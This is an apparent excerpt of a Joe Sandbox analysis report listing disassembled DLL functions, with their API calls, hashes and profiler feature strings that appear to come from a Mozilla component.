__aulldiv.LIBCMT ref: 6C95C24C
__aulldiv.LIBCMT ref: 6C95C348
__aullrem.LIBCMT ref: 6C95C365
__aulldiv.LIBCMT ref: 6C95C37D

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca564f0a8df396e03c74de320938d7a0532e7320a7295eeba397575622058f59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C322632B046168FCB18DE3CC89066ABBE6AFD9310F49866DE495CB395D730ED05CB91

Function 6C9C545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C8A4B

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6748e7821dcc473d6c0f55ff824bf16f35ac862823f67dc771b8f36cf46e1fb6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D2B1E672B0021ACFDB14CF68CC907A9B7B6EF95314F1902A9C549EB781D730E985CB92

Function 6C9C542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6cd0fcc83cd549fe357bb5cf7969e5caf8bc937e41cd46092fa0c911797b1cdb
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 75B1D572F0021A8BDB14CF58CC816ADB7B6AF95314F190269C549EBB85D730E989CB92

Function 6C9C50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: b7d9ce138e4f5084dc90b56994151a48e0598923134e98aea57dfd13da7d3c95
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: AAA1D772B001178FDB14CF68CC807A9B7B6AF95314F1502B9C949EB785D730E999CB92

Function 6C9A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A7A93

Part of subcall function 6C975C50: GetTickCount64.KERNEL32 ref: 6C975D40
Part of subcall function 6C975C50: EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A7AA1

Part of subcall function 6C975C50: __aulldiv.LIBCMT ref: 6C975DB4
Part of subcall function 6C975C50: LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9A7B31

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction ID: 35d63b402a5348829407a67e4b6dac3005365ed227e1c3fbdf0c17e17450f845
Opcode Fuzzy Hash: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction Fuzzy Hash: 90B1AC356087808BCB18CFA4C49165FB7E2BFD9318F154A1CE99567B94DB70E90BCB82

Function 6C996CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C996D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996E1E

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction ID: f7634df291f7fc298ae2d1d3f8b29d472dd0c08a0e26eb2a7d4116a96b0aebee
Opcode Fuzzy Hash: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction Fuzzy Hash: 93A18D706183818FCB15CF24C4907AEFBE6BFA8308F54495DE48A87751DB70E959CB92

Function 6C9BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9BB720
RtlNtStatusToDosError.NTDLL ref: 6C9BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C98FE3F,00000000,00000000,?,?,00000000,?,6C98FE3F), ref: 6C9BB760

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction ID: 973e5f119293fe9ebbc3919dc469951abb1e451a2f5b83f2ef42083c76e2a61a
Opcode Fuzzy Hash: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction Fuzzy Hash: 51F0AFB0A0420CAEEF019AA1CCC4BEFB7BC9B14719F105129E511729C0D774E6C8C762

Function 6C974640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C974777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C975585, 6C9755A8, 6C9755C3, 6C975624

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction ID: 1fad17c29fd2c955e96db0ffb6502fe17ff21090745f4a1ef674bff60e20a197
Opcode Fuzzy Hash: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction Fuzzy Hash: 37B28D71A06B018FD728CF18C590715BBE6BFC5324B29C7ADE4698B6A6D731E841CF90

Function 6C9B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B8C7C
__aulldiv.LIBCMT ref: 6C9B8DD7

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: abf186ce9f9c734c8e384b0231a2bea45213bc7c3d19e44ecba271efc7597e0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DB325971F0121A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD506BB790DA349D458B95

Function 6C9BB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9603D4,?), ref: 6C9BB955
NtQueryVirtualMemory.NTDLL ref: 6C9BB9A5

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction ID: 74815975401d012b9c5b82fc612d258ea3ca7e91d580970858bfb7b2fe73cd1e
Opcode Fuzzy Hash: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction Fuzzy Hash: 8641C571F01219AFDF04CFA9D880ADEB7B9EF88354F14812AE505B7744DB30E9458B91

Function 6C995C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C964A63,?,?), ref: 6C995F06

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction ID: e87c19aeb54141b40e2ff11cc4c98e9d4ce69d8caccf48a06b77821da2475711
Opcode Fuzzy Hash: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction Fuzzy Hash: DAC1C175D012099BCB04CFA5C5906EEBBF6FF8A319F28425DD8556BB44D732A846CB80

Function 6C95DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction ID: a899fa613e4c4b232c11e9189b4b7732dc773f6f34e3f0bd3ad67280208987b7
Opcode Fuzzy Hash: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction Fuzzy Hash: AC42D472A087518BD304CE3CC49035AF3E2BFC9364F594B2DE999A7794D739D9418B82

Function 6C9C76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b85fa92e39bd717ff08c812256885db20c52909c69fc35117cf796b061bc8064
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8332F871E0061A8FDB14CF98C8D0AADFBB6FF88304F6481A9C549A7745D731A986CF91

Function 6C9C6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 339a7a8d9ce8ff281e064841f521848a5f2afeceb7f9eb647f16b7c89a008e69
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F522E871E0061A8FDB14CF98C880AADF7F6FF88304F6485AAC549A7745D731A986CF91

Function 6C980512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 286ab1b55caabb77574da8dc762465e9dbb4a6a592fa37c3ece0a54f2dbccbfb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FC221671E01659CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D731A986CF90

Function 6C9CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction ID: 845f37bb87fd0395f7ec045ee9b6bdfdba6238f99a989a2309416836ff3aa9ca
Opcode Fuzzy Hash: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction Fuzzy Hash: C3F14871B087458FD700CE28C8913AAB7E6AFD5318F158A2DE8D487781EB74D9898793

Function 6C95C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f235e11923b688408c7ff9597425e03612c3ff3549a37dde2826480d5134435
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AAA1AA71F0021A8FDB08CE69C8913AEB7F2AFC8354F588269D915E7781DB349D168B90

Function 6C997710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction ID: 9235d4aeb16e95b897db654b44aad1d842f977bcab8bd4c1c42e8846b01dd419
Opcode Fuzzy Hash: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction Fuzzy Hash: 7B714C75E012198FCB18CF99D8905EDBBB6FF89314F28816ED415AB740DB31A945CB90

Function 6C9958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction ID: e27303789d493c5076aeb74b262a07e258456b216b98fe066c17ff9ed332aa26
Opcode Fuzzy Hash: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction Fuzzy Hash: F5817A75A012199FCB04CFA8C8809EEBBF6FF89314F684269D511AB741D731E945CBA0

Function 6C99CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C96582D), ref: 6C99CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C96582D), ref: 6C99CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9CFE98,?,?,?,?,?,6C96582D), ref: 6C99CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C99CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C99CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C99CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C99CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C99CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C99CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C99CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C99CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C99CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C99CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C99CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C99CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C99CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C99CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C99CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C99CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C99CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C99CE8A

Strings

processcpu, xrefs: 6C99CE6E
notimerresolutionchange, xrefs: 6C99CE00
nostacksampling, xrefs: 6C99CD7C
default, xrefs: 6C99CC21
java, xrefs: 6C99CC37
Unrecognized feature "%s"., xrefs: 6C99CEA0
seqstyle, xrefs: 6C99CCE6
preferencereads, xrefs: 6C99CD92
leaf, xrefs: 6C99CC66
unregisteredthreads, xrefs: 6C99CE58
cpuallthreads, xrefs: 6C99CE16
audiocallbacktracing, xrefs: 6C99CDD4
nativeallocations, xrefs: 6C99CDA8
noiostacks, xrefs: 6C99CCBE
markersallthreads, xrefs: 6C99CE42
power, xrefs: 6C99CE84
stackwalk, xrefs: 6C99CCF8
fileioall, xrefs: 6C99CCA8
